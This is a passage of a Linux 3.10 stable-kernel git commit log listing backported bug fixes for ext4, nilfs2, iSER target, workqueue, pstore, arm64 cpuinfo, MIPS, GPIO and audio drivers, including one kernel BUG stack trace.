smpboot_create_threads(2); smpboot_register_percpu_thread(); for_each_online_cpu(); __smpboot_create_thread(); __cpu_up(2); This results in a missing per cpu thread for the newly onlined cpu2 and in a NULL pointer dereference on a consecutive offline of that cpu. Proctect smpboot_register_percpu_thread() with get_online_cpus() to prevent that. [ tglx: Massaged changelog and removed the change in smpboot_unregister_percpu_thread() because that's an optimization and therefor not stable material. ] Signed-off-by: Lai Jiangshan Cc: Thomas Gleixner Cc: Rusty Russell Cc: Peter Zijlstra Cc: Srivatsa S. Bhat Cc: David Rientjes Link: http://lkml.kernel.org/r/1406777421-12830-1-git-send-email-laijs@cn.fujitsu.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffa16e11e745b666371dfc7e083c5c7099343ded Author: Takashi Iwai Date: Tue Jan 13 10:53:20 2015 +0100 ALSA: ak411x: Fix stall in work callback commit 4161b4505f1690358ac0a9ee59845a7887336b21 upstream. When ak4114 work calls its callback and the callback invokes ak4114_reinit(), it stalls due to flush_delayed_work(). For avoiding this, control the reentrance by introducing a refcount. Also flush_delayed_work() is replaced with cancel_delayed_work_sync(). The exactly same bug is present in ak4113.c and fixed as well. Reported-by: Pavel Hofman Acked-by: Jaroslav Kysela Tested-by: Pavel Hofman Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f33b4101269b75518b3669afd29d589903ac57b Author: Eric Nelson Date: Fri Jan 30 14:07:55 2015 -0700 ASoC: sgtl5000: add delay before first I2C access commit 58cc9c9a175885bbf6bae3acf18233d0a8229a84 upstream. To quote from section 1.3.1 of the data sheet: The SGTL5000 has an internal reset that is deasserted 8 SYS_MCLK cycles after all power rails have been brought up. After this time, communication can start ... 1.0us represents 8 SYS_MCLK cycles at the minimum 8.0 MHz SYS_MCLK. Signed-off-by: Eric Nelson Reviewed-by: Fabio Estevam Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb3289176527e7ee5668d39e0963a157a0753a78 Author: Bo Shen Date: Tue Jan 20 15:43:16 2015 +0800 ASoC: atmel_ssc_dai: fix start event for I2S mode commit a43bd7e125143b875caae6d4f9938855b440faaf upstream. According to the I2S specification information as following: - WS = 0, channel 1 (left) - WS = 1, channel 2 (right) So, the start event should be TF/RF falling edge. Reported-by: Songjun Wu Signed-off-by: Bo Shen Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ebca348b2169e5f8c1d8cddca9d34e05e080d088 Author: karl beldan Date: Thu Jan 29 11:10:22 2015 +0100 lib/checksum.c: fix build for generic csum_tcpudp_nofold commit 9ce357795ef208faa0d59894d9d119a7434e37f3 upstream. Fixed commit added from64to32 under _#ifndef do_csum_ but used it under _#ifndef csum_tcpudp_nofold_, breaking some builds (Fengguang's robot reported TILEGX's). Move from64to32 under the latter. Fixes: 150ae0e94634 ("lib/checksum.c: fix carry in csum_tcpudp_nofold") Reported-by: kbuild test robot Signed-off-by: Karl Beldan Cc: Eric Dumazet Cc: David S. Miller Signed-off-by: David S. Miller Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 350ad8bc33026c57e61644d3e36e513fe6fc2440 Author: Dmitry Monakhov Date: Thu Oct 30 10:53:16 2014 -0400 ext4: prevent bugon on race between write/fcntl commit a41537e69b4aa43f0fea02498c2595a81267383b upstream. O_DIRECT flags can be toggeled via fcntl(F_SETFL). But this value checked twice inside ext4_file_write_iter() and __generic_file_write() which result in BUG_ON inside ext4_direct_IO. Let's initialize iocb->private unconditionally. TESTCASE: xfstest:generic/036 https://patchwork.ozlabs.org/patch/402445/ #TYPICAL STACK TRACE: kernel BUG at fs/ext4/inode.c:2960! invalid opcode: 0000 [#1] SMP Modules linked in: brd iTCO_wdt lpc_ich mfd_core igb ptp dm_mirror dm_region_hash dm_log dm_mod CPU: 6 PID: 5505 Comm: aio-dio-fcntl-r Not tainted 3.17.0-rc2-00176-gff5c017 #161 Hardware name: Intel Corporation W2600CR/W2600CR, BIOS SE5C600.86B.99.99.x028.061320111235 06/13/2011 task: ffff88080e95a7c0 ti: ffff88080f908000 task.ti: ffff88080f908000 RIP: 0010:[] [] ext4_direct_IO+0x162/0x3d0 RSP: 0018:ffff88080f90bb58 EFLAGS: 00010246 RAX: 0000000000000400 RBX: ffff88080fdb2a28 RCX: 00000000a802c818 RDX: 0000040000080000 RSI: ffff88080d8aeb80 RDI: 0000000000000001 RBP: ffff88080f90bbc8 R08: 0000000000000000 R09: 0000000000001581 R10: 0000000000000000 R11: 0000000000000000 R12: ffff88080d8aeb80 R13: ffff88080f90bbf8 R14: ffff88080fdb28c8 R15: ffff88080fdb2a28 FS: 00007f23b2055700(0000) GS:ffff880818400000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f23b2045000 CR3: 000000080cedf000 CR4: 00000000000407e0 Stack: ffff88080f90bb98 0000000000000000 7ffffffffffffffe ffff88080fdb2c30 0000000000000200 0000000000000200 0000000000000001 0000000000000200 ffff88080f90bbc8 ffff88080fdb2c30 ffff88080f90be08 0000000000000200 Call Trace: [] generic_file_direct_write+0xed/0x180 [] __generic_file_write_iter+0x222/0x370 [] ext4_file_write_iter+0x34b/0x400 [] ? aio_run_iocb+0x239/0x410 [] ? aio_run_iocb+0x239/0x410 [] ? local_clock+0x25/0x30 [] ? __lock_acquire+0x274/0x700 [] ? ext4_unwritten_wait+0xb0/0xb0 [] aio_run_iocb+0x286/0x410 [] ? local_clock+0x25/0x30 [] ? lock_release_holdtime+0x29/0x190 [] ? lookup_ioctx+0x4b/0xf0 [] do_io_submit+0x55b/0x740 [] ? do_io_submit+0x3ca/0x740 [] SyS_io_submit+0x10/0x20 [] system_call_fastpath+0x16/0x1b Code: 01 48 8b 80 f0 01 00 00 48 8b 18 49 8b 45 10 0f 85 f1 01 00 00 48 03 45 c8 48 3b 43 48 0f 8f e3 01 00 00 49 83 7c 24 18 00 75 04 <0f> 0b eb fe f0 ff 83 ec 01 00 00 49 8b 44 24 18 8b 00 85 c0 89 RIP [] ext4_direct_IO+0x162/0x3d0 RSP Reported-by: Sasha Levin Signed-off-by: Theodore Ts'o Signed-off-by: Dmitry Monakhov [hujianyang: Backported to 3.10 - Move initialization of iocb->private to ext4_file_write() as we don't have ext4_file_write_iter(), which is introduced by commit 9b884164. - Adjust context to make 'overwrite' changes apply to ext4_file_dio_write() as ext4_file_dio_write() is not move into ext4_file_write()] Signed-off-by: hujianyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5333a1795feccb1b691e3c8481456d560ca3a3d2 Author: Mark Rutland Date: Fri Oct 24 14:56:40 2014 +0100 arm64: Fix up /proc/cpuinfo commit 44b82b7700d05a52cd983799d3ecde1a976b3bed upstream. Commit d7a49086f263164a (arm64: cpuinfo: print info for all CPUs) attempted to clean up /proc/cpuinfo, but due to concerns regarding further changes was reverted in commit 5e39977edf6500fd (Revert "arm64: cpuinfo: print info for all CPUs"). There are two major issues with the arm64 /proc/cpuinfo format currently: * The "Features" line describes (only) the 64-bit hwcaps, which is problematic for some 32-bit applications which attempt to parse it. As the same names are used for analogous ISA features (e.g. aes) despite these generally being architecturally unrelated, it is not possible to simply append the 64-bit and 32-bit hwcaps in a manner that might not be misleading to some applications. Various potential solutions have appeared in vendor kernels. Typically the format of the Features line varies depending on whether the task is 32-bit. * Information is only printed regarding a single CPU. This does not match the ARM format, and does not provide sufficient information in big.LITTLE systems where CPUs are heterogeneous. The CPU information printed is queried from the current CPU's registers, which is racy w.r.t. cross-cpu migration. This patch attempts to solve these issues. The following changes are made: * When a task with a LINUX32 personality attempts to read /proc/cpuinfo, the "Features" line contains the decoded 32-bit hwcaps, as with the arm port. Otherwise, the decoded 64-bit hwcaps are shown. This aligns with the behaviour of COMPAT_UTS_MACHINE and COMPAT_ELF_PLATFORM. In the absense of compat support, the Features line is empty. The set of hwcaps injected into a task's auxval are unaffected. * Properties are printed per-cpu, as with the ARM port. The per-cpu information is queried from pre-recorded cpu information (as used by the sanity checks). * As with the previous attempt at fixing up /proc/cpuinfo, the hardware field is removed. The only users so far are 32-bit applications tied to particular boards, so no portable applications should be affected, and this should prevent future tying to particular boards. The following differences remain: * No model_name is printed, as this cannot be queried from the hardware and cannot be provided in a stable fashion. Use of the CPU {implementor,variant,part,revision} fields is sufficient to identify a CPU and is portable across arm and arm64. * The following system-wide properties are not provided, as they are not possible to provide generally. Programs relying on these are already tied to particular (32-bit only) boards: - Hardware - Revision - Serial No software has yet been identified for which these remaining differences are problematic. Cc: Greg Hackmann Cc: Ian Campbell Cc: Serban Constantinescu Cc: Will Deacon Cc: cross-distro@lists.linaro.org Cc: linux-api@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-kernel@vger.kernel.org Acked-by: Catalin Marinas [Mark: backport to v3.10.x] Signed-off-by: Mark Rutland Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fb51021b516ae5adbeafdbbd38e5bbb62c28404 Author: Ryusuke Konishi Date: Thu Feb 5 12:25:20 2015 -0800 nilfs2: fix deadlock of segment constructor over I_SYNC flag commit 7ef3ff2fea8bf5e4a21cef47ad87710a3d0fdb52 upstream. Nilfs2 eventually hangs in a stress test with fsstress program. This issue was caused by the following deadlock over I_SYNC flag between nilfs_segctor_thread() and writeback_sb_inodes(): nilfs_segctor_thread() nilfs_segctor_thread_construct() nilfs_segctor_unlock() nilfs_dispose_list() iput() iput_final() evict() inode_wait_for_writeback() * wait for I_SYNC flag writeback_sb_inodes() * set I_SYNC flag on inode->i_state __writeback_single_inode() do_writepages() nilfs_writepages() nilfs_construct_dsync_segment() nilfs_segctor_sync() * wait for completion of segment constructor inode_sync_complete() * clear I_SYNC flag after __writeback_single_inode() completed writeback_sb_inodes() calls do_writepages() for dirty inodes after setting I_SYNC flag on inode->i_state. do_writepages() in turn calls nilfs_writepages(), which can run segment constructor and wait for its completion. On the other hand, segment constructor calls iput(), which can call evict() and wait for the I_SYNC flag on inode_wait_for_writeback(). Since segment constructor doesn't know when I_SYNC will be set, it cannot know whether iput() will block or not unless inode->i_nlink has a non-zero count. We can prevent evict() from being called in iput() by implementing sop->drop_inode(), but it's not preferable to leave inodes with i_nlink == 0 for long periods because it even defers file truncation and inode deallocation. So, this instead resolves the deadlock by calling iput() asynchronously with a workqueue for inodes with i_nlink == 0. Signed-off-by: Ryusuke Konishi Cc: Al Viro Tested-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ccefbce98ca2b3cf86cb5050c47ce729018e2386 Author: karl beldan Date: Wed Jan 28 10:58:11 2015 +0100 lib/checksum.c: fix carry in csum_tcpudp_nofold commit 150ae0e94634714b23919f0c333fee28a5b199d5 upstream. The carry from the 64->32bits folding was dropped, e.g with: saddr=0xFFFFFFFF daddr=0xFF0000FF len=0xFFFF proto=0 sum=1, csum_tcpudp_nofold returned 0 instead of 1. Signed-off-by: Karl Beldan Cc: Al Viro Cc: Eric Dumazet Cc: Arnd Bergmann Cc: Mike Frysinger Cc: netdev@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fffac5dd81e97d8ecc407164fceb4d0b8edad351 Author: Hemmo Nieminen Date: Thu Jan 15 23:01:59 2015 +0200 MIPS: Fix kernel lockup or crash after CPU offline/online commit c7754e75100ed5e3068ac5085747f2bfc386c8d6 upstream. As printk() invocation can cause e.g. a TLB miss, printk() cannot be called before the exception handlers have been properly initialized. This can happen e.g. when netconsole has been loaded as a kernel module and the TLB table has been cleared when a CPU was offline. Call cpu_report() in start_secondary() only after the exception handlers have been initialized to fix this. Without the patch the kernel will randomly either lockup or crash after a CPU is onlined and the console driver is a module. Signed-off-by: Hemmo Nieminen Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/8953/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f20337a5786c9ee8715d4d11b26c578a42c93b0a Author: Felix Fietkau Date: Thu Jan 15 19:05:28 2015 +0100 MIPS: IRQ: Fix disable_irq on CPU IRQs commit a3e6c1eff54878506b2dddcc202df9cc8180facb upstream. If the irq_chip does not define .irq_disable, any call to disable_irq will defer disabling the IRQ until it fires while marked as disabled. This assumes that the handler function checks for this condition, which handle_percpu_irq does not. In this case, calling disable_irq leads to an IRQ storm, if the interrupt fires while disabled. This optimization is only useful when disabling the IRQ is slow, which is not true for the MIPS CPU IRQ. Disable this optimization by implementing .irq_disable and .irq_enable Signed-off-by: Felix Fietkau Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/8949/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6075b2dd206533e30afe9785c06de1300a636f96 Author: Charlotte Richardson Date: Mon Feb 2 09:36:23 2015 -0600 PCI: Add NEC variants to Stratus ftServer PCIe DMI check commit 51ac3d2f0c505ca36ffc9715ffd518d756589ef8 upstream. NEC OEMs the same platforms as Stratus does, which have multiple devices on some PCIe buses under downstream ports. Link: https://bugzilla.kernel.org/show_bug.cgi?id=51331 Fixes: 1278998f8ff6 ("PCI: Work around Stratus ftServer broken PCIe hierarchy (fix DMI check)") Signed-off-by: Charlotte Richardson Signed-off-by: Bjorn Helgaas CC: Myron Stowe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 275f7ed6b5dde563214338add0213ddaa796bb58 Author: Johan Hovold Date: Mon Jan 26 12:02:46 2015 +0100 gpio: sysfs: fix memory leak in gpiod_sysfs_set_active_low commit 49d2ca84e433dab854c7a866bc6add09cfab682d upstream. Fix memory leak in the gpio sysfs interface due to failure to drop reference to device returned by class_find_device when setting the gpio-line polarity. Fixes: 0769746183ca ("gpiolib: add support for changing value polarity in sysfs") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f4a77ece50db4a58ca146b884a5499c12aa7110a Author: Johan Hovold Date: Mon Jan 26 12:02:45 2015 +0100 gpio: sysfs: fix memory leak in gpiod_export_link commit 0f303db08df0df9bd0966443ad6001e63960af16 upstream. Fix memory leak in the gpio sysfs interface due to failure to drop reference to device returned by class_find_device when creating a link. Fixes: a4177ee7f1a8 ("gpiolib: allow exported GPIO nodes to be named using sysfs links") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9aef5dfe43602a2982a47b810772492bdbc423fa Author: Greg Kroah-Hartman Date: Fri Feb 6 06:52:56 2015 -0800 Linux 3.10.68 Signed-off-by: Pranav Vashi commit 4860b2b9d9e695be4301b96e7363836701dc2162 Author: Nicholas Bellinger Date: Fri Jan 30 22:17:31 2015 +0000 target: Drop arbitrary maximum I/O size limit commit 046ba64285a4389ae5e9a7dfa253c6bff3d7c341 upstream. This patch drops the arbitrary maximum I/O size limit in sbc_parse_cdb(), which currently for fabric_max_sectors is hardcoded to 8192 (4 MB for 512 byte sector devices), and for hw_max_sectors is a backend driver dependent value. This limit is problematic because Linux initiators have only recently started to honor block limits MAXIMUM TRANSFER LENGTH, and other non-Linux based initiators (eg: MSFT Fibre Channel) can also generate I/Os larger than 4 MB in size. Currently when this happens, the following message will appear on the target resulting in I/Os being returned with non recoverable status: SCSI OP 28h with too big sectors 16384 exceeds fabric_max_sectors: 8192 Instead, drop both [fabric,hw]_max_sector checks in sbc_parse_cdb(), and convert the existing hw_max_sectors into a purely informational attribute used to represent the granuality that backend driver and/or subsystem code is splitting I/Os upon. Also, update FILEIO with an explicit FD_MAX_BYTES check in fd_execute_rw() to deal with the one special iovec limitiation case. v2 changes: - Drop hw_max_sectors check in sbc_parse_cdb() Reported-by: Lance Gropper Reported-by: Stefan Priebe Cc: Christoph Hellwig Cc: Martin K. Petersen Cc: Roland Dreier Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7987e2a0763aedceb4f782599716efc2110eabf2 Author: Sagi Grimberg Date: Fri Jan 30 22:17:30 2015 +0000 iser-target: Fix implicit termination of connections commit b02efbfc9a051b41e71fe8f94ddf967260e024a6 upstream. In situations such as bond failover, The new session establishment implicitly invokes the termination of the old connection. So, we don't want to wait for the old connection wait_conn to completely terminate before we accept the new connection and post a login response. The solution is to deffer the comp_wait completion and the conn_put to a work so wait_conn will effectively be non-blocking (flush errors are assumed to come very fast). We allocate isert_release_wq with WQ_UNBOUND and WQ_UNBOUND_MAX_ACTIVE to spread the concurrency of release works. Reported-by: Slava Shwartsman Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 405e8be4f3c1426106518093d7241347e97c9b73 Author: Sagi Grimberg Date: Fri Jan 30 22:17:29 2015 +0000 iser-target: Handle ADDR_CHANGE event for listener cm_id commit ca6c1d82d12d8013fb75ce015900d62b9754623c upstream. The np listener cm_id will also get ADDR_CHANGE event upcall (in case it is bound to a specific IP). Handle it correctly by creating a new cm_id and implicitly destroy the old one. Since this is the second event a listener np cm_id may encounter, we move the np cm_id event handling to a routine. Squashed: iser-target: Move cma_id setup to a function Reported-by: Slava Shwartsman Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ef3a5aeb989b80cb7b9dbc01e76aed0e672266b Author: Sagi Grimberg Date: Fri Jan 30 22:17:28 2015 +0000 iser-target: Fix connected_handler + teardown flow race commit 19e2090fb246ca21b3e569ead51a6a7a1748eadd upstream. Take isert_conn pointer from cm_id->qp->qp_context. This will allow us to know that the cm_id context is always the network portal. This will make the cm_id event check (connection or network portal) more reliable. In order to avoid a NULL dereference in cma_id->qp->qp_context we destroy the qp after we destroy the cm_id (and make the dereference safe). session stablishment/teardown sequences can happen in parallel, we should take into account that connected_handler might race with connection teardown flow. Also, protect isert_conn->conn_device->active_qps decrement within the error patch during QP creation failure and the normal teardown path in isert_connect_release(). Squashed: iser-target: Decrement completion context active_qps in error flow Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1826c2d265cfc4bede2ffb73d624df0a4391112d Author: Sagi Grimberg Date: Fri Jan 30 22:17:27 2015 +0000 iser-target: Parallelize CM connection establishment commit 2371e5da8cfe91443339b54444dec6254fdd6dfc upstream. There is no point in accepting a new CM request only when we are completely done with the last iscsi login. Instead we accept immediately, this will also cause the CM connection to reach connected state and the initiator is allowed to send the first login. We mark that we got the initial login and let iscsi layer pick it up when it gets there. This reduces the parallel login sequence by a factor of more then 4 (and more for multi-login) and also prevents the initiator (who does all logins in parallel) from giving up on login timeout expiration. In order to support multiple login requests sequence (CHAP) we call isert_rx_login_req from isert_rx_completion insead of letting isert_get_login_rx call it. Squashed: iser-target: Use kref_get_unless_zero in connected_handler iser-target: Acquire conn_mutex when changing connection state iser-target: Reject connect request in failure path Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c349d23b80e830c9ba65fb59c9f1a7b8649954a5 Author: Sagi Grimberg Date: Fri Jan 30 22:17:26 2015 +0000 iser-target: Fix flush + disconnect completion handling commit 128e9cc84566a84146baea2335b3824288eed817 upstream. ISER_CONN_UP state is not sufficient to know if we should wait for completion of flush errors and disconnected_handler event. Instead, split it to 2 states: - ISER_CONN_UP: Got to CM connected phase, This state indicates that we need to wait for a CM disconnect event before going to teardown. - ISER_CONN_FULL_FEATURE: Got to full feature phase after we posted login response, This state indicates that we posted recv buffers and we need to wait for flush completions before going to teardown. Also avoid deffering disconnected handler to a work, and handle it within disconnected handler. More work here is needed to handle DEVICE_REMOVAL event correctly (cleanup all resources). Squashed: iser-target: Don't deffer disconnected handler to a work Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c21d0d0324ec7bb391f044a06bbcf3adcc3ed11 Author: Sagi Grimberg Date: Fri Jan 30 22:17:25 2015 +0000 iscsi,iser-target: Initiate termination only once commit 954f23722b5753305be490330cf2680b7a25f4a3 upstream. Since commit 0fc4ea701fcf ("Target/iser: Don't put isert_conn inside disconnected handler") we put the conn kref in isert_wait_conn, so we need .wait_conn to be invoked also in the error path. Introduce call to isert_conn_terminate (called under lock) which transitions the connection state to TERMINATING and calls rdma_disconnect. If the state is already teminating, just bail out back (temination started). Also, make sure to destroy the connection when getting a connect error event if didn't get to connected (state UP). Same for the handling of REJECTED and UNREACHABLE cma events. Squashed: iscsi-target: Add call to wait_conn in establishment error flow Reported-by: Slava Shwartsman Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 524499052bd6dc9496eebabfe76be6937d4139eb Author: Nicholas Bellinger Date: Fri Jan 30 22:17:24 2015 +0000 vhost-scsi: Add missing virtio-scsi -> TCM attribute conversion commit 46243860806bdc2756f3ce8ac86b4d7c616bcd6c upstream. While looking at hch's recent conversion to drop the MSG_*_TAG definitions, I noticed a long standing bug in vhost-scsi where the VIRTIO_SCSI_S_* attribute definitions where incorrectly being passed directly into target_submit_cmd_map_sgls(). This patch adds the missing virtio-scsi to TCM/SAM task attribute conversion. Cc: Christoph Hellwig Cc: Michael S. Tsirkin Cc: Paolo Bonzini Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3c0e0aa10ae87a3e569e66ee2157275b6f330ca Author: Hannes Reinecke Date: Fri Jan 30 22:17:23 2015 +0000 tcm_loop: Fix wrong I_T nexus association commit 506787a2c7daed45f0a213674ca706cbc83a9089 upstream. tcm_loop has the I_T nexus associated with the HBA. This causes commands to become misdirected if the HBA has more than one target portal group; any command is then being sent to the first target portal group instead of the correct one. The nexus needs to be associated with the target portal group instead. Signed-off-by: Hannes Reinecke Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79716b72f39bdb2a385337fc65d1b076efab32e9 Author: Nicholas Bellinger Date: Fri Jan 30 22:17:22 2015 +0000 vhost-scsi: Take configfs group dependency during VHOST_SCSI_SET_ENDPOINT commit ab8edab132829b26dd13db6caca3c242cce35dc1 upstream. This patch addresses a bug where individual vhost-scsi configfs endpoint groups can be removed from below while active exports to QEMU userspace still exist, resulting in an OOPs. It adds a configfs_depend_item() in vhost_scsi_set_endpoint() to obtain an explicit dependency on se_tpg->tpg_group in order to prevent individual vhost-scsi WWPN endpoints from being released via normal configfs methods while an QEMU ioctl reference still exists. Also, add matching configfs_undepend_item() in vhost_scsi_clear_endpoint() to release the dependency, once QEMU's reference to the individual group at /sys/kernel/config/target/vhost/$WWPN/$TPGT is released. (Fix up vhost_scsi_clear_endpoint() error path - DanC) Cc: Michael S. Tsirkin Cc: Paolo Bonzini Cc: Stefan Hajnoczi Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 661848c91cd955b83c31bc68717adf2956439430 Author: Or Gerlitz Date: Fri Jan 30 22:17:21 2015 +0000 ib_isert: Add max_send_sge=2 minimum for control PDU responses commit f57915cfa5b2b14c1cffa2e83c034f55e3f0e70d upstream. This patch adds a max_send_sge=2 minimum in isert_conn_setup_qp() to ensure outgoing control PDU responses with tx_desc->num_sge=2 are able to function correctly. This addresses a bug with RDMA hardware using dev_attr.max_sge=3, that in the original code with the ConnectX-2 work-around would result in isert_conn->max_sge=1 being negotiated. Originally reported by Chris with ocrdma driver. Reported-by: Chris Moore Tested-by: Chris Moore Signed-off-by: Or Gerlitz Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec69ff1740273a1a55f111b8a189673951702fa9 Author: Chris Moore Date: Fri Jan 30 22:17:20 2015 +0000 IB/isert: Adjust CQ size to HW limits commit b1a5ad006b34ded9dc7ec64988deba1b3ecad367 upstream. isert has an issue of trying to create a CQ with more CQEs than are supported by the hardware, that currently results in failures during isert_device creation during first session login. This is the isert version of the patch that Minh Tran submitted for iser, and is simple a workaround required to function with existing ocrdma hardware. Signed-off-by: Chris Moore Reviewied-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae62a1d776cb63f4eae89a11f9b2faa92dca9925 Author: Tejun Heo Date: Fri Jan 16 14:21:16 2015 -0500 workqueue: fix subtle pool management issue which can stall whole worker_pool commit 29187a9eeaf362d8422e62e17a22a6e115277a49 upstream. A worker_pool's forward progress is guaranteed by the fact that the last idle worker assumes the manager role to create more workers and summon the rescuers if creating workers doesn't succeed in timely manner before proceeding to execute work items. This manager role is implemented in manage_workers(), which indicates whether the worker may proceed to work item execution with its return value. This is necessary because multiple workers may contend for the manager role, and, if there already is a manager, others should proceed to work item execution. Unfortunately, the function also indicates that the worker may proceed to work item execution if need_to_create_worker() is false at the head of the function. need_to_create_worker() tests the following conditions. pending work items && !nr_running && !nr_idle The first and third conditions are protected by pool->lock and thus won't change while holding pool->lock; however, nr_running can change asynchronously as other workers block and resume and while it's likely to be zero, as someone woke this worker up in the first place, some other workers could have become runnable inbetween making it non-zero. If this happens, manage_worker() could return false even with zero nr_idle making the worker, the last idle one, proceed to execute work items. If then all workers of the pool end up blocking on a resource which can only be released by a work item which is pending on that pool, the whole pool can deadlock as there's no one to create more workers or summon the rescuers. This patch fixes the problem by removing the early exit condition from maybe_create_worker() and making manage_workers() return false iff there's already another manager, which ensures that the last worker doesn't start executing work items. We can leave the early exit condition alone and just ignore the return value but the only reason it was put there is because the manage_workers() used to perform both creations and destructions of workers and thus the function may be invoked while the pool is trying to reduce the number of workers. Now that manage_workers() is called only when more workers are needed, the only case this early exit condition is triggered is rare race conditions rendering it pointless. Tested with simulated workload and modified workqueue code which trigger the pool deadlock reliably without this patch. Signed-off-by: Tejun Heo Reported-by: Eric Sandeen Link: http://lkml.kernel.org/g/54B019F4.8030009@sandeen.net Cc: Dave Chinner Cc: Lai Jiangshan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d87d867e5ebdf47686c7bc88de0bfcc45eb63556 Author: Martin Kaiser Date: Fri Jan 30 15:01:29 2015 +0100 gpio: squelch a compiler warning drivers/gpio/gpiolib-of.c: In function 'of_gpiochip_find_and_xlate': drivers/gpio/gpiolib-of.c:51:21: warning: assignment makes integer from pointer without a cast [enabled by default] gg_data->out_gpio = ERR_PTR(ret); ^ this was introduced in d1c3449160df60fac4abb56f0ba0a3784305e43e the upstream kernel changed the type of out_gpio from int to struct gpio_desc * as part of a larger refactoring that wasn't backported Signed-off-by: Martin Kaiser Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12743c050e6c3276a901df39f8c07a8bc41699eb Author: Madper Xie Date: Fri Nov 29 15:58:57 2013 +0800 efi-pstore: Make efi-pstore return a unique id commit fdeadb43fdf1e7d5698c027b555c389174548e5a upstream. Pstore fs expects that backends provide a unique id which could avoid pstore making entries as duplication or denominating entries the same name. So I combine the timestamp, part and count into id. Signed-off-by: Madper Xie Cc: Seiji Aguchi Cc: stable@vger.kernel.org Signed-off-by: Matt Fleming [hkp: Backported to 3.10: adjust context] Signed-off-by: Hu Keping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit af7ad2a78ddab76c8e76ad9f4afea6723310d5b7 Author: Liu ShuoX Date: Mon Mar 17 13:57:49 2014 -0700 pstore: Fix NULL pointer fault if get NULL prz in ramoops_get_next_prz commit b0aa931fb84431394d995472d0af2a6c2b61064d upstream. ramoops_get_next_prz get the prz according the paramters. If it get a uninitialized prz, access its members by following persistent_ram_old_size(prz) will cause a NULL pointer crash. Ex: if ftrace_size is 0, fprz will be NULL. Fix it by return NULL in advance. Signed-off-by: Liu ShuoX Acked-by: Kees Cook Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cdafeb3e16e68f81c49bd47c99a95b047aeefc57 Author: Liu ShuoX Date: Mon Mar 17 11:24:49 2014 +1100 pstore: skip zero size persistent ram buffer in traverse commit aa9a4a1edfbd3d223af01db833da2f07850bc655 upstream. In ramoops_pstore_read, a valid prz pointer with zero size buffer will break traverse of all persistent ram buffers. The latter buffer might be lost. Signed-off-by: Liu ShuoX Cc: "Zhang, Yanmin" Cc: Colin Cross Reviewed-by: Kees Cook Signed-off-by: Andrew Morton Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afeb97f43255500d377d527ef0ddb17be08fdd28 Author: Dan Carpenter Date: Wed Aug 14 10:55:49 2013 -0700 pstore: d_alloc_name() doesn't return an ERR_PTR commit c39524e6744284452ef45480d3153bec28960c32 upstream. d_alloc_name() returns NULL on error. Also I changed the error code from -ENOSPC to -ENOMEM to reflect that we were short on RAM not disk space. Signed-off-by: Dan Carpenter Acked-by: Kees Cook 